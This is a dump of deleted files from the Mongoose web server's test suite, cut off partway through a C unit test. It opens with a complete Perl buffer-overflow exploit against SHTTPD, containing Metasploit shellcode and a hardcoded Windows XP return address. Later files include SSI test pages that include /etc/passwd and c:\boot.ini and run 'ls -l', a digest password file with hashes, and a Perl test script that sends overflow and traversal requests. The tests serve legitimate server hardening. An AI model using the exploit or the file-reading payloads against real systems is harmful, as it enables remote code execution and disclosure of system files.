# ESI 00BC4358 , EDI 00BCC3CC ASCII "POST"
# ESP 009EFC08 ASCII 41,"AA...AAA"
use IO::Socket;
sub fail(){
syswrite STDOUT, "[-]Connect failed.\n";
exit;
}
sub header()
{
print("##################################\n");
print("SHTTPD (POST) Buffer Overflow.\n");
print("[http://shttpd.sourceforge.net]\n");
print("Codded By SkOd, 05/10/2006\n");
print("##################################\n");
}
if (@ARGV < 1)
{
&header();
print("Usage: Perl shttpd.pl [host]\n");
exit;
}
&header();
$host=$ARGV[0];
$port="80";
$host=~ s/(http:\/\/)//eg;
#win32_exec- CMD=calc Size=160 (metasploit.com)
$shell =
"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52".
"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5".
"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9".
"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed".
"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86".
"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4".
"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b".
"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88".
"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0";
$esp="%73%C3%2A%4F"; #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew)
$buff=("%41"x8).$esp.("%90"x85).$shell; #Shellcode+NOP=245
print length($buff) . "\n";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail();
syswrite STDOUT,"[+]Connected.\n";
print $sock "POST /$buff HTTP/1.1\n";
print $sock "HOST:$host\n\n";
syswrite STDOUT,"[+]Done.\n";
close($sock);
# milw0rm.com [2006-10-05]
-6
View File
@@ -1,6 +0,0 @@
#!/bin/sh
echo "Content-Type: text/plain"
echo
echo $QUERY_STRING
-1
View File
@@ -1 +0,0 @@
simple text file
-57
View File
@@ -1,57 +0,0 @@
HTTP/1.0 200 OK
Content-Type: text/html
<html><body>
<p>This is an example Lua server page served by
<a href="http://code.google.com/p/mongoose">Mongoose web server</a>.
Mongoose has Lua, Sqlite, and other functionality built in the binary.
This example page stores the request in the Sqlite database, and shows
all requests done previously.</p>
<p> Today is <? mg.write(os.date("%A")) ?>
<pre>
<?
-- for k,v in pairs(_G) do mg.write(k, '\n') end
-- Open database
local db = sqlite3.open('requests.db')
-- Setup a trace callback, to show SQL statements we'll be executing.
-- db:trace(function(data, sql) mg.write('Executing: ', sql: '\n') end, nil)
-- Create a table if it is not created already
db:exec([[
CREATE TABLE IF NOT EXISTS requests (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp NOT NULL,
method NOT NULL,
uri NOT NULL,
addr
);
]])
-- Add entry about this request
local stmt = db:prepare(
'INSERT INTO requests VALUES(NULL, datetime("now"), ?, ?, ?);');
stmt:bind_values(mg.request_info.request_method,
mg.request_info.uri,
mg.request_info.remote_port)
stmt:step()
stmt:finalize()
-- Show all previous records
mg.write('Previous requests:\n')
stmt = db:prepare('SELECT * FROM requests ORDER BY id DESC;')
while stmt:step() == sqlite3.ROW do
local v = stmt:get_values()
mg.write(v[1] .. ' ' .. v[2] .. ' ' .. v[3] .. ' '
.. v[4] .. ' ' .. v[5] .. '\n')
end
-- Close database
db:close()
?>
</pre></body></html>
-3
View File
@@ -1,3 +0,0 @@
guest:mydomain.com:485264dcc977a1925370b89d516a1477
Administrator:mydomain.com:e32daa3028eba04dc53e2d781e6fc983
-6
View File
@@ -1,6 +0,0 @@
#!/bin/sh
echo "Content-Type: text/plain"
echo
echo "This is shell script CGI."
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#include file="../build/Makefile" -->
ssi_end
</pre></html>
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#include virtual="embed.c" -->
ssi_end
</pre></html>
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#exec "ls -l" -->
ssi_end
</pre></html>
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#exec "dir /w" -->
ssi_end
</pre></html>
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#include abspath="/etc/passwd" -->
ssi_end
</pre></html>
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#include abspath="c:\boot.ini" -->
ssi_end
</pre></html>
-6
View File
@@ -1,6 +0,0 @@
<html><pre>
ssi_begin
<!--#include "unit_test.c" -->
ssi_end
</pre></html>
-1
View File
@@ -1 +0,0 @@
<!--#include "ssi9.shtml" -->
-3
View File
@@ -1,3 +0,0 @@
ssi_begin
<!--#include file="../build/Makefile" -->
ssi_end
-467
View File
@@ -1,467 +0,0 @@
#!/usr/bin/env perl
# This script is used to test Mongoose web server
# $Id: test.pl 516 2010-05-03 12:54:37Z valenok $
use IO::Socket;
use File::Path;
use File::Basename;
use Cwd;
use strict;
use warnings;
#use diagnostics;
sub on_windows { $^O =~ /win32/i; }
my $port = 23456;
my $pid = undef;
my $num_requests;
my $dir_separator = on_windows() ? '\\' : '/';
my $copy_cmd = on_windows() ? 'copy' : 'cp';
my $test_dir_uri = "test_dir";
my $root = '../test';
my $abs_root = Cwd::abs_path(dirname($0) . $dir_separator . $root);
my $test_dir = $abs_root . $dir_separator. $test_dir_uri;
#print "$test_dir\n"; exit 0;
my $config = 'mongoose.conf';
my $exe_ext = on_windows() ? '.exe' : '';
my $mongoose_exe = '.' . $dir_separator . 'mongoose' . $exe_ext;
my $embed_exe = '.' . $dir_separator . 'embed' . $exe_ext;
my $unit_test_exe = '.' . $dir_separator . 'unit_test' . $exe_ext;
my $exit_code = 0;
my @files_to_delete = ('debug.log', 'access.log', $config, "$root/a/put.txt",
"$root/a+.txt", "$root/.htpasswd", "$root/binary_file", "$root/a",
"$root/myperl", $embed_exe, $unit_test_exe);
END {
unlink @files_to_delete;
kill_spawned_child();
File::Path::rmtree($test_dir);
exit $exit_code;
}
sub fail {
print "FAILED: @_\n";
$exit_code = 1;
exit 1;
}
sub get_num_of_log_entries {
open FD, "access.log" or return 0;
my @lines = (<FD>);
close FD;
return scalar @lines;
}
# Send the request to the 127.0.0.1:$port and return the reply
sub req {
my ($request, $inc, $timeout) = @_;
my $sock = IO::Socket::INET->new(Proto => 6,
PeerAddr => '127.0.0.1', PeerPort => $port);
fail("Cannot connect to http://127.0.0.1:$port : $!") unless $sock;
$sock->autoflush(1);
foreach my $byte (split //, $request) {
last unless print $sock $byte;
select undef, undef, undef, .001 if length($request) < 256;
}
my ($out, $buf) = ('', '');
eval {
alarm $timeout if $timeout;
$out .= $buf while (sysread($sock, $buf, 1024) > 0);
alarm 0 if $timeout;
};
close $sock;
$num_requests += defined($inc) ? $inc : 1;
my $num_logs = get_num_of_log_entries();
unless ($num_requests == $num_logs) {
fail("Request has not been logged: [$request], output: [$out]");
}
return $out;
}
# Send the request. Compare with the expected reply. Fail if no match
sub o {
my ($request, $expected_reply, $message, $num_logs) = @_;
print "==> $message ... ";
my $reply = req($request, $num_logs);
if ($reply =~ /$expected_reply/s) {
print "OK\n";
} else {
#fail("Requested: [$request]\nExpected: [$expected_reply], got: [$reply]");
fail("Expected: [$expected_reply], got: [$reply]");
}
}
# Spawn a server listening on specified port
sub spawn {
my ($cmdline) = @_;
print 'Executing: ', @_, "\n";
if (on_windows()) {
my @args = split /\s+/, $cmdline;
my $executable = $args[0];
Win32::Spawn($executable, $cmdline, $pid);
die "Cannot spawn @_: $!" unless $pid;
} else {
unless ($pid = fork()) {
exec $cmdline;
die "cannot exec [$cmdline]: $!\n";
}
}
sleep 1;
}
sub write_file {
open FD, ">$_[0]" or fail "Cannot open $_[0]: $!";
binmode FD;
print FD $_[1];
close FD;
}
sub read_file {
open FD, $_[0] or fail "Cannot open $_[0]: $!";
my @lines = <FD>;
close FD;
return join '', @lines;
}
sub kill_spawned_child {
if (defined($pid)) {
kill(9, $pid);
waitpid($pid, 0);
}
}
####################################################### ENTRY POINT
unlink @files_to_delete;
$SIG{PIPE} = 'IGNORE';
$SIG{ALRM} = sub { die "timeout\n" };
#local $| =1;
# Make sure we export only symbols that start with "mg_", and keep local
# symbols static.
if ($^O =~ /darwin|bsd|linux/) {
my $out = `(cc -c mongoose.c && nm mongoose.o) | grep ' T '`;
foreach (split /\n/, $out) {
/T\s+_?mg_.+/ or fail("Exported symbol $_")
}
}
if (scalar(@ARGV) > 0 and $ARGV[0] eq 'unit') {
do_unit_test();
exit 0;
}
# Make sure we load config file if no options are given.
# Command line options override config files settings
write_file($config, "access_log_file access.log\n" .
"document_root $root\n" .
"listening_ports 127.0.0.1:12345\n");
spawn("$mongoose_exe -listening_ports 127.0.0.1:$port");
o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'Loading config file');
unlink $config;
kill_spawned_child();
# Spawn the server on port $port
my $cmd = "$mongoose_exe ".
"-listening_ports 127.0.0.1:$port ".
"-access_log_file access.log ".
"-error_log_file debug.log ".
"-cgi_environment CGI_FOO=foo,CGI_BAR=bar,CGI_BAZ=baz " .
"-extra_mime_types .bar=foo/bar,.tar.gz=blah,.baz=foo " .
"-put_delete_auth_file $abs_root/passfile " .
'-access_control_list -0.0.0.0/0,+127.0.0.1 ' .
"-document_root $root ".
"-hide_files_patterns **exploit.PL ".
"-enable_keep_alive yes ".
"-url_rewrite_patterns /aiased=/etc/,/ta=$test_dir";
$cmd .= ' -cgi_interpreter perl' if on_windows();
spawn($cmd);
o("GET /hello.txt HTTP/1.1\nConnection: close\nRange: bytes=3-50\r\n\r\n",
'Content-Length: 15\s', 'Range past the file end');
o("GET /hello.txt HTTP/1.1\n\n GET /hello.txt HTTP/1.0\n\n",
'HTTP/1.1 200.+keep-alive.+HTTP/1.1 200.+close',
'Request pipelining', 2);
my $x = 'x=' . 'A' x (200 * 1024);
my $len = length($x);
o("POST /env.cgi HTTP/1.0\r\nContent-Length: $len\r\n\r\n$x",
'^HTTP/1.1 200 OK', 'Long POST');
# Try to overflow: Send very long request
req('POST ' . '/..' x 100 . 'ABCD' x 3000 . "\n\n", 0); # don't log this one
o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'GET regular file');
o("GET /hello.txt HTTP/1.0\nContent-Length: -2147483648\n\n",
'HTTP/1.1 200 OK', 'Negative content length');
o("GET /hello.txt HTTP/1.0\n\n", 'Content-Length: 17\s',
'GET regular file Content-Length');
o("GET /%68%65%6c%6c%6f%2e%74%78%74 HTTP/1.0\n\n",
'HTTP/1.1 200 OK', 'URL-decoding');
# Break CGI reading after 1 second. We must get full output.
# Since CGI script does sleep, we sleep as well and increase request count
# manually.
my $slow_cgi_reply;
print "==> Slow CGI output ... ";
fail('Slow CGI output forward reply=', $slow_cgi_reply) unless
($slow_cgi_reply = req("GET /timeout.cgi HTTP/1.0\r\n\r\n", 0, 1)) =~ /Some data/s;
print "OK\n";
sleep 3;
$num_requests++;
# '+' in URI must not be URL-decoded to space
write_file("$root/a+.txt", '');
o("GET /a+.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'URL-decoding, + in URI');
# Test HTTP version parsing
o("GET / HTTPX/1.0\r\n\r\n", '^HTTP/1.1 500', 'Bad HTTP Version', 0);
o("GET / HTTP/x.1\r\n\r\n", '^HTTP/1.1 505', 'Bad HTTP maj Version', 0);
o("GET / HTTP/1.1z\r\n\r\n", '^HTTP/1.1 505', 'Bad HTTP min Version', 0);
o("GET / HTTP/02.0\r\n\r\n", '^HTTP/1.1 505', 'HTTP Version >1.1', 0);
# File with leading single dot
o("GET /.leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 1');
o("GET /...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 2');
o("GET /../\\\\/.//...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 3')
if on_windows();
o("GET .. HTTP/1.0\n\n", '400 Bad Request', 'Leading dot 4', 0);
mkdir $test_dir unless -d $test_dir;
o("GET /$test_dir_uri/not_exist HTTP/1.0\n\n",
'HTTP/1.1 404', 'PATH_INFO loop problem');
o("GET /$test_dir_uri HTTP/1.0\n\n", 'HTTP/1.1 301', 'Directory redirection');
o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'Modified', 'Directory listing');
write_file("$test_dir/index.html", "tralala");
o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'tralala', 'Index substitution');
o("GET / HTTP/1.0\n\n", 'embed.c', 'Directory listing - file name');
o("GET /ta/ HTTP/1.0\n\n", 'Modified', 'Aliases');
o("GET /not-exist HTTP/1.0\r\n\n", 'HTTP/1.1 404', 'Not existent file');
mkdir $test_dir . $dir_separator . 'x';
my $path = $test_dir . $dir_separator . 'x' . $dir_separator . 'index.cgi';
write_file($path, read_file($root . $dir_separator . 'env.cgi'));
chmod(0755, $path);
o("GET /$test_dir_uri/x/ HTTP/1.0\n\n", "Content-Type: text/html\r\n\r\n",
'index.cgi execution');
o("GET /$test_dir_uri/x/ HTTP/1.0\n\n",
"SCRIPT_FILENAME=$test_dir/x/index.cgi", 'SCRIPT_FILENAME');
o("GET /ta/x/ HTTP/1.0\n\n", "SCRIPT_NAME=/ta/x/index.cgi",
'Aliases SCRIPT_NAME');
o("GET /hello.txt HTTP/1.1\nConnection: close\n\n", 'Connection: close',
'No keep-alive');
$path = $test_dir . $dir_separator . 'x' . $dir_separator . 'a.cgi';
system("ln -s `which perl` $root/myperl") == 0 or fail("Can't symlink perl");
write_file($path, "#!../../myperl\n" .
"print \"Content-Type: text/plain\\n\\nhi\";");
chmod(0755, $path);
o("GET /$test_dir_uri/x/a.cgi HTTP/1.0\n\n", "hi", 'Relative CGI interp path');
o("GET * HTTP/1.0\n\n", "^HTTP/1.1 404", '* URI');
my $mime_types = {
html => 'text/html',
htm => 'text/html',
txt => 'text/plain',
unknown_extension => 'text/plain',
js => 'application/x-javascript',
css => 'text/css',
jpg => 'image/jpeg',
c => 'text/plain',
'tar.gz' => 'blah',
bar => 'foo/bar',
baz => 'foo',
};
foreach my $key (keys %$mime_types) {
my $filename = "_mime_file_test.$key";
write_file("$root/$filename", '');
o("GET /$filename HTTP/1.0\n\n",
"Content-Type: $mime_types->{$key}", ".$key mime type");
unlink "$root/$filename";
}
# Get binary file and check the integrity
my $binary_file = 'binary_file';
my $f2 = '';
foreach (0..123456) { $f2 .= chr(int(rand() * 255)); }
write_file("$root/$binary_file", $f2);
my $f1 = req("GET /$binary_file HTTP/1.0\r\n\n");
while ($f1 =~ /^.*\r\n/) { $f1 =~ s/^.*\r\n// }
$f1 eq $f2 or fail("Integrity check for downloaded binary file");
my $range_request = "GET /hello.txt HTTP/1.1\nConnection: close\n".
"Range: bytes=3-5\r\n\r\n";
o($range_request, '206 Partial Content', 'Range: 206 status code');
o($range_request, 'Content-Length: 3\s', 'Range: Content-Length');
o($range_request, 'Content-Range: bytes 3-5/17', 'Range: Content-Range');
o($range_request, '\nple$', 'Range: body content');
# Test directory sorting. Sleep between file creation for 1.1 seconds,
# to make sure modification time are different.
mkdir "$test_dir/sort";
write_file("$test_dir/sort/11", 'xx');
select undef, undef, undef, 1.1;
write_file("$test_dir/sort/aa", 'xxxx');
select undef, undef, undef, 1.1;
write_file("$test_dir/sort/bb", 'xxx');
select undef, undef, undef, 1.1;
write_file("$test_dir/sort/22", 'x');
o("GET /$test_dir_uri/sort/?n HTTP/1.0\n\n",
'200 OK.+>11<.+>22<.+>aa<.+>bb<',
'Directory listing (name, ascending)');
o("GET /$test_dir_uri/sort/?nd HTTP/1.0\n\n",
'200 OK.+>bb<.+>aa<.+>22<.+>11<',
'Directory listing (name, descending)');
o("GET /$test_dir_uri/sort/?s HTTP/1.0\n\n",
'200 OK.+>22<.+>11<.+>bb<.+>aa<',
'Directory listing (size, ascending)');
o("GET /$test_dir_uri/sort/?sd HTTP/1.0\n\n",
'200 OK.+>aa<.+>bb<.+>11<.+>22<',
'Directory listing (size, descending)');
o("GET /$test_dir_uri/sort/?d HTTP/1.0\n\n",
'200 OK.+>11<.+>aa<.+>bb<.+>22<',
'Directory listing (modification time, ascending)');
o("GET /$test_dir_uri/sort/?dd HTTP/1.0\n\n",
'200 OK.+>22<.+>bb<.+>aa<.+>11<',
'Directory listing (modification time, descending)');
unless (scalar(@ARGV) > 0 and $ARGV[0] eq "basic_tests") {
# Check that .htpasswd file existence trigger authorization
write_file("$root/.htpasswd", 'user with space, " and comma:mydomain.com:5deda12442309cbdcdffc6b2737a894f');
o("GET /hello.txt HTTP/1.1\n\n", '401 Unauthorized',
'.htpasswd - triggering auth on file request');
o("GET / HTTP/1.1\n\n", '401 Unauthorized',
'.htpasswd - triggering auth on directory request');
# Test various funky things in an authentication header.
o("GET /hello.txt HTTP/1.0\nAuthorization: Digest eq== empty=\"\", empty2=, quoted=\"blah foo bar, baz\\\"\\\" more\\\"\", unterminatedquoted=\" doesn't stop\n\n",
'401 Unauthorized', 'weird auth values should not cause crashes');
my $auth_header = "Digest username=\"user with space, \\\" and comma\", ".
"realm=\"mydomain.com\", nonce=\"1291376417\", uri=\"/\",".
"response=\"e8dec0c2a1a0c8a7e9a97b4b5ea6a6e6\", qop=auth, nc=00000001, cnonce=\"1a49b53a47a66e82\"";
o("GET /hello.txt HTTP/1.0\nAuthorization: $auth_header\n\n", 'HTTP/1.1 200 OK', 'GET regular file with auth');
o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(.htpasswd)))*$',
'.htpasswd is hidden from the directory list');
o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(exploit.pl)))*$',
'hidden file is hidden from the directory list');
o("GET /.htpasswd HTTP/1.0\nAuthorization: $auth_header\n\n",
'^HTTP/1.1 404 ', '.htpasswd must not be shown');
o("GET /exploit.pl HTTP/1.0\nAuthorization: $auth_header\n\n",
'^HTTP/1.1 404', 'hidden files must not be shown');
unlink "$root/.htpasswd";
o("GET /dir%20with%20spaces/hello.cgi HTTP/1.0\n\r\n",
'HTTP/1.1 200 OK.+hello', 'CGI script with spaces in path');
o("GET /env.cgi HTTP/1.0\n\r\n", 'HTTP/1.1 200 OK', 'GET CGI file');
o("GET /bad2.cgi HTTP/1.0\n\n", "HTTP/1.1 123 Please pass me to the client\r",
'CGI Status code text');
o("GET /sh.cgi HTTP/1.0\n\r\n", 'shell script CGI',
'GET sh CGI file') unless on_windows();
o("GET /env.cgi?var=HELLO HTTP/1.0\n\n", 'QUERY_STRING=var=HELLO',
'QUERY_STRING wrong');
o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
'var=HELLO', 'CGI POST wrong');
o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
'\x0aCONTENT_LENGTH=9', 'Content-Length not being passed to CGI');
o("GET /env.cgi HTTP/1.0\nMy-HdR: abc\n\r\n",
'HTTP_MY_HDR=abc', 'HTTP_* env');
o("GET /env.cgi HTTP/1.0\n\r\nSOME_TRAILING_DATA_HERE",
'HTTP/1.1 200 OK', 'GET CGI with trailing data');
o("GET /env.cgi%20 HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%20)');
o("GET /env.cgi%ff HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%ff)');
o("GET /env.cgi%2e HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%2e)');
o("GET /env.cgi%2b HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%2b)');
o("GET /env.cgi HTTP/1.0\n\r\n", '\nHTTPS=off\n', 'CGI HTTPS');
o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_FOO=foo\n', '-cgi_env 1');
o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAR=bar\n', '-cgi_env 2');
o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAZ=baz\n', '-cgi_env 3');
o("GET /env.cgi/a/b/98 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/98\n', 'PATH_INFO');
o("GET /env.cgi/a/b/9 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/9\n', 'PATH_INFO');
o("GET /env.cgi/foo/bar?a=b HTTP/1.0\n\n",
'SCRIPT_NAME=/env.cgi\s', 'SCRIPT_NAME for CGI with PATH_INFO');
# Check that CGI's current directory is set to script's directory
my $copy_cmd = on_windows() ? 'copy' : 'cp';
system("$copy_cmd $root" . $dir_separator . "env.cgi $test_dir" .
$dir_separator . 'env.cgi');
o("GET /$test_dir_uri/env.cgi HTTP/1.0\n\n",
"CURRENT_DIR=.*$root/$test_dir_uri", "CGI chdir()");
# SSI tests
o("GET /ssi1.shtml HTTP/1.0\n\n",
'ssi_begin.+CFLAGS.+ssi_end', 'SSI #include file=');
o("GET /ssi2.shtml HTTP/1.0\n\n",
'ssi_begin.+Unit test.+ssi_end', 'SSI #include virtual=');
my $ssi_exec = on_windows() ? 'ssi4.shtml' : 'ssi3.shtml';
o("GET /$ssi_exec HTTP/1.0\n\n",
'ssi_begin.+Makefile.+ssi_end', 'SSI #exec');
my $abs_path = on_windows() ? 'ssi6.shtml' : 'ssi5.shtml';
my $word = on_windows() ? 'boot loader' : 'root';
o("GET /$abs_path HTTP/1.0\n\n",
"ssi_begin.+$word.+ssi_end", 'SSI #include abspath');
o("GET /ssi7.shtml HTTP/1.0\n\n",
'ssi_begin.+Unit test.+ssi_end', 'SSI #include "..."');
o("GET /ssi8.shtml HTTP/1.0\n\n",
'ssi_begin.+CFLAGS.+ssi_end', 'SSI nested #includes');
# Manipulate the passwords file
my $path = 'test_htpasswd';
unlink $path;
system("$mongoose_exe -A $path a b c") == 0
or fail("Cannot add user in a passwd file");
system("$mongoose_exe -A $path a b c2") == 0
or fail("Cannot edit user in a passwd file");
my $content = read_file($path);
$content =~ /^b:a:\w+$/gs or fail("Bad content of the passwd file");
unlink $path;
do_PUT_test();
kill_spawned_child();
do_unit_test();
}
sub do_PUT_test {
# This only works because mongoose currently doesn't look at the nonce.
# It should really be rejected...
my $auth_header = "Authorization: Digest username=guest, ".
"realm=mydomain.com, nonce=1145872809, uri=/put.txt, ".
"response=896327350763836180c61d87578037d9, qop=auth, ".
"nc=00000002, cnonce=53eddd3be4e26a98\n";
o("PUT /a/put.txt HTTP/1.0\nContent-Length: 7\n$auth_header\n1234567",
"HTTP/1.1 201 OK", 'PUT file, status 201');
fail("PUT content mismatch")
unless read_file("$root/a/put.txt") eq '1234567';
o("PUT /a/put.txt HTTP/1.0\nContent-Length: 4\n$auth_header\nabcd",
"HTTP/1.1 200 OK", 'PUT file, status 200');
fail("PUT content mismatch")
unless read_file("$root/a/put.txt") eq 'abcd';
o("PUT /a/put.txt HTTP/1.0\n$auth_header\nabcd",
"HTTP/1.1 411 Length Required", 'PUT 411 error');
o("PUT /a/put.txt HTTP/1.0\nExpect: blah\nContent-Length: 1\n".
"$auth_header\nabcd",
"HTTP/1.1 417 Expectation Failed", 'PUT 417 error');
o("PUT /a/put.txt HTTP/1.0\nExpect: 100-continue\nContent-Length: 4\n".
"$auth_header\nabcd",
"HTTP/1.1 100 Continue.+HTTP/1.1 200", 'PUT 100-Continue');
}
sub do_unit_test {
my $target = on_windows() ? 'wi' : 'un';
system("make $target") == 0 or fail("Unit test failed!");
}
print "SUCCESS! All tests passed.\n";
-12
View File
@@ -1,12 +0,0 @@
#!/usr/bin/env perl
# Make stdout unbuffered
use FileHandle;
STDOUT->autoflush(1);
# This script outputs some content, then sleeps for 5 seconds, then exits.
# Web server should return the content immediately after it is sent,
# not waiting until the script exits.
print "Content-Type: text/html\r\n\r\n";
print "Some data";
sleep 3;
-787
View File
@@ -1,787 +0,0 @@
// Copyright (c) 2004-2013 Sergey Lyubka
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
// Unit test for the mongoose web server. Tests embedded API.
#define USE_WEBSOCKET
#define USE_LUA
#ifndef _WIN32
#define __cdecl
#define USE_IPV6
#endif
// USE_* definitions must be made before #include "mongoose.c" !
#include "mongoose.c"
static int s_total_tests = 0;
static int s_failed_tests = 0;
#define FAIL(str, line) do { \
printf("Fail on line %d: [%s]\n", line, str); \
s_failed_tests++; \
} while (0)
#define ASSERT(expr) do { \
s_total_tests++; \
if (!(expr)) FAIL(#expr, __LINE__); \
} while (0)
#define HTTP_PORT "56789"
#define HTTPS_PORT "56790"
#define HTTP_PORT2 "56791"
#define LISTENING_ADDR \
"127.0.0.1:" HTTP_PORT "r" \
",127.0.0.1:" HTTPS_PORT "s" \
",127.0.0.1:" HTTP_PORT2
static void test_parse_http_message() {
struct mg_request_info ri;
char req1[] = "GET / HTTP/1.1\r\n\r\n";
char req2[] = "BLAH / HTTP/1.1\r\n\r\n";
char req3[] = "GET / HTTP/1.1\r\nBah\r\n";
char req4[] = "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\nbaz\r\n\r\n";
char req5[] = "GET / HTTP/1.1\r\n\r\n";
char req6[] = "G";
char req7[] = " blah ";
char req8[] = " HTTP/1.1 200 OK \n\n";
char req9[] = "HTTP/1.1 200 OK\r\nConnection: close\r\n\r\n";
ASSERT(parse_http_message(req9, sizeof(req9), &ri) == sizeof(req9) - 1);
ASSERT(ri.num_headers == 1);
ASSERT(parse_http_message(req1, sizeof(req1), &ri) == sizeof(req1) - 1);
ASSERT(strcmp(ri.http_version, "1.1") == 0);
ASSERT(ri.num_headers == 0);
ASSERT(parse_http_message(req2, sizeof(req2), &ri) == -1);
ASSERT(parse_http_message(req3, sizeof(req3), &ri) == 0);
ASSERT(parse_http_message(req6, sizeof(req6), &ri) == 0);
ASSERT(parse_http_message(req7, sizeof(req7), &ri) == 0);
ASSERT(parse_http_message("", 0, &ri) == 0);
ASSERT(parse_http_message(req8, sizeof(req8), &ri) == sizeof(req8) - 1);
// TODO(lsm): Fix this. Header value may span multiple lines.
ASSERT(parse_http_message(req4, sizeof(req4), &ri) == sizeof(req4) - 1);
ASSERT(strcmp(ri.http_version, "1.1") == 0);
ASSERT(ri.num_headers == 3);
ASSERT(strcmp(ri.http_headers[0].name, "A") == 0);
ASSERT(strcmp(ri.http_headers[0].value, "foo bar") == 0);
ASSERT(strcmp(ri.http_headers[1].name, "B") == 0);
ASSERT(strcmp(ri.http_headers[1].value, "bar") == 0);
ASSERT(strcmp(ri.http_headers[2].name, "baz\r\n\r") == 0);
ASSERT(strcmp(ri.http_headers[2].value, "") == 0);
ASSERT(parse_http_message(req5, sizeof(req5), &ri) == sizeof(req5) - 1);
ASSERT(strcmp(ri.request_method, "GET") == 0);
ASSERT(strcmp(ri.http_version, "1.1") == 0);
}
static void test_should_keep_alive(void) {
struct mg_connection conn;
struct mg_context ctx;
char req1[] = "GET / HTTP/1.1\r\n\r\n";
char req2[] = "GET / HTTP/1.0\r\n\r\n";
char req3[] = "GET / HTTP/1.1\r\nConnection: close\r\n\r\n";
char req4[] = "GET / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n";
memset(&conn, 0, sizeof(conn));
conn.ctx = &ctx;
ASSERT(parse_http_message(req1, sizeof(req1), &conn.request_info) ==
sizeof(req1) - 1);
ctx.config[ENABLE_KEEP_ALIVE] = "no";
ASSERT(should_keep_alive(&conn) == 0);
ctx.config[ENABLE_KEEP_ALIVE] = "yes";
ASSERT(should_keep_alive(&conn) == 1);
conn.must_close = 1;
ASSERT(should_keep_alive(&conn) == 0);
conn.must_close = 0;
parse_http_message(req2, sizeof(req2), &conn.request_info);
ASSERT(should_keep_alive(&conn) == 0);
parse_http_message(req3, sizeof(req3), &conn.request_info);
ASSERT(should_keep_alive(&conn) == 0);
parse_http_message(req4, sizeof(req4), &conn.request_info);
ASSERT(should_keep_alive(&conn) == 1);
conn.status_code = 401;
ASSERT(should_keep_alive(&conn) == 0);
conn.status_code = 200;
conn.must_close = 1;
ASSERT(should_keep_alive(&conn) == 0);
}
static void test_match_prefix(void) {
ASSERT(match_prefix("/api", 4, "/api") == 4);
ASSERT(match_prefix("/a/", 3, "/a/b/c") == 3);
ASSERT(match_prefix("/a/", 3, "/ab/c") == -1);
ASSERT(match_prefix("/*/", 3, "/ab/c") == 4);
ASSERT(match_prefix("**", 2, "/a/b/c") == 6);
ASSERT(match_prefix("/*", 2, "/a/b/c") == 2);
ASSERT(match_prefix("*/*", 3, "/a/b/c") == 2);
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
